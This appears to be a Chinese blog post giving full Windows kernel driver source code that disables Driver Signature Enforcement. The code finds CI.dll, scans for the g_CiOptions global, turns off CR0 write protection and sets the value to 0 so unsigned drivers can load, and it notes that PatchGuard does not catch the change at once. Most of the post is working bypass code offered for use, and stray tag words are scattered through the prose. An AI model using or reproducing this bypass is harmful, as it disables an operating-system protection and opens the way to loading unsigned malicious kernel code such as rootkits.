如今的驅動,必須都有簽名才能加載.那麼如何加載無簽名的驅動模塊那.
下面能夠說下方法.可是挺尷尬的是,代碼必須在驅動中編寫.因此就造成了
你必須一個驅動帶有一個簽名加載進去.執行你的代碼.pass掉DSE以後之後加載驅動就能夠徹底不用簽名了.安全
原理:
原理就是Path一下CI內核模塊.將一個全局變量置爲0便可.可是受PG保護.不過PG要檢測這個位置不會馬上保護.因此能夠修改完加載完你的無驅動簽名的驅動.而後修改回來便可.測試
全局變量有三個. 0 6 8 0表明禁用 6表明開啓. 8表明能夠加載測試簽名.3d
既然上面說了.是修改一個全局變量.那麼打開CI看看修改那個便可.code
結果
blog
雖然提示你須要簽名.可是能夠用PChunter看到.其實已經加載了.ci
一共三個值. 0 6 8 6表明開啓驅動簽名 0表明關閉 8 表明開啓測試驅動簽名it
代碼:io
#include "Driver.h" #include <wdm.h> //KLDR_DATA_TABLE_ENTRY typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { struct { ULONG TimeDateStamp; }; struct { PVOID LoadedImports; }; }; }LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; VOID IteratorModule(PDRIVER_OBJECT pDriverObj) { PLDR_DATA_TABLE_ENTRY pLdr = NULL; PLIST_ENTRY pListEntry = NULL; PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL; pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection; pListEntry = pLdr->InLoadOrderLinks.Flink; pCurrentListEntry = pListEntry->Flink; while (pCurrentListEntry != pListEntry) //先後不相等 { //獲取LDR_DATA_TABLE_ENTRY結構 pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0) { DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n", pCurrentModule->BaseDllName, pCurrentModule->DllBase, (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage); } pCurrentListEntry = pCurrentListEntry->Flink; } } LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName) { PLDR_DATA_TABLE_ENTRY pLdr = NULL; PLIST_ENTRY pListEntry = NULL; PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL; pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection; pListEntry = pLdr->InLoadOrderLinks.Flink; pCurrentListEntry = pListEntry->Flink; while (pCurrentListEntry != pListEntry) //先後不相等 { //獲取LDR_DATA_TABLE_ENTRY結構 pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0) { UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld"); UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld"); if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0) { DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n", pCurrentModule->BaseDllName, pCurrentModule->DllBase, (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage); return (LONGLONG)pCurrentModule->DllBase; } } pCurrentListEntry = pCurrentListEntry->Flink; } return 0; } typedef struct _BASEMANGER { LONGLONG StartBase; LONGLONG EndBase; }BASEMANGER,*PBASEMANGER; BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName) { PLDR_DATA_TABLE_ENTRY pLdr = NULL; PLIST_ENTRY pListEntry = NULL; PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL; pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection; pListEntry = pLdr->InLoadOrderLinks.Flink; pCurrentListEntry = pListEntry->Flink; BASEMANGER BaseManger = { 0 }; while (pCurrentListEntry != pListEntry) //先後不相等 { //獲取LDR_DATA_TABLE_ENTRY結構 pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0) { UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld"); UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld"); if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0) { DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n", pCurrentModule->BaseDllName, pCurrentModule->DllBase, (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage); BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase; BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage; return BaseManger; } } pCurrentListEntry = pCurrentListEntry->Flink; } BaseManger.StartBase = 0; BaseManger.EndBase = 0; return BaseManger; } //核心實現代碼 DWORD64 g_CiOptionsAddress; int g_CiOptions = 6; KIRQL WPOFFx64() { KIRQL irql = KeRaiseIrqlToDpcLevel(); UINT64 cr0 = __readcr0(); cr0 &= 0xfffffffffffeffff; _disable(); __writecr0(cr0); return irql; } KIRQL DisableMemProtected() { KIRQL irql = KeRaiseIrqlToDpcLevel(); UINT64 cr0 = __readcr0(); cr0 &= 0xfffffffffffeffff; _disable(); __writecr0(cr0); return irql; } void EnbaleMemProtected(KIRQL irql) { UINT64 cr0 = __readcr0(); cr0 |= 0x10000; _enable(); __writecr0(cr0); KeLowerIrql(irql); } BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress) { UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess"); DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName); DWORD64 SerchAddress = CiStartAddress; DWORD64 Address; KIRQL Myirql; int nCount = 0; int isFind = 0; int i = 0; int isRead = 1; if (SerchAddress == 0) { return 0; } __try { KIRQL irql = KeRaiseIrqlToDpcLevel(); while (SerchAddress++) { if (SerchAddress + 2 > CiEndAddress) { break; } isRead = 1; for (i = 0; i < 2; i++) { if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE) { isRead = 0; break; } } if (isRead == 1) { if (*(PUSHORT)(SerchAddress) == 0x15ff) { Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6; if (MmIsAddressValid((PDWORD64)Address)) { if (*(PDWORD64)Address == PsGetCurrentProcessAddress) { while (nCount < 100) { nCount++; SerchAddress--; if (*(PUSHORT)(SerchAddress) == 0x0d89) { isFind = 1; break; } } break; } } } } } KeLowerIrql(irql); } __except (1) { DbgPrint("搜索數據失敗!"); } if (isFind == 1) { //DbgPrint("SerchAddress:%p\n", SerchAddress); g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6; g_CiOptions = *(PLONG)g_CiOptionsAddress; DbgPrint("地址:%p 初始化值數據:%08X\n", g_CiOptionsAddress, g_CiOptions); Myirql = DisableMemProtected(); *(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改成0便可. DbgPrint("地址:%p 修改數據爲:%08X\n", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress); EnbaleMemProtected(Myirql); return TRUE; } else { DbgPrint("搜索數據失敗!\n"); return FALSE; } } void EnbalDse() //開啓DSE保護 { KIRQL Myirql; Myirql = DisableMemProtected(); *(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改成6便可. DbgPrint("開啓簽名驗證成功.值修改成 %d \r\n", *(PLONG)g_CiOptionsAddress); EnbaleMemProtected(Myirql); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath) { ULONG iCount = 0; NTSTATUS ntStatus; UNICODE_STRING uModuleName; BASEMANGER Base = { 0 }; RtlInitUnicodeString(&uModuleName, L"CI.dll"); pDriverObj->DriverUnload = DriverUnLoad; Base = GetModuleBaseByNames(pDriverObj, uModuleName); if (Base.StartBase != 0 && Base.EndBase != 0) { DisableDse(Base.StartBase, Base.EndBase);//傳入CI基址 CICiEndAddress //EnbalDse(); //關閉DSE } return STATUS_SUCCESS; }
ps: 文章是原創.可是核心原理是參考了一個看流星論壇的一個大佬的。本身將它的代碼拷貝了下來稍微改了改。加了遍歷模塊代碼而已。
原理就是Path CI. 大佬的代碼就是尋找特徵定位全局變量。既然知道原理了。那麼定位的話就抄一下了。
另外一篇文章是參考了 安全客的一個漏洞文章。如今找不到了。另外一篇所講的是 標誌有三種 0 6 8 0是禁用 6是開啓 8是啓動測試簽名。因此在這裏直接使用了。變量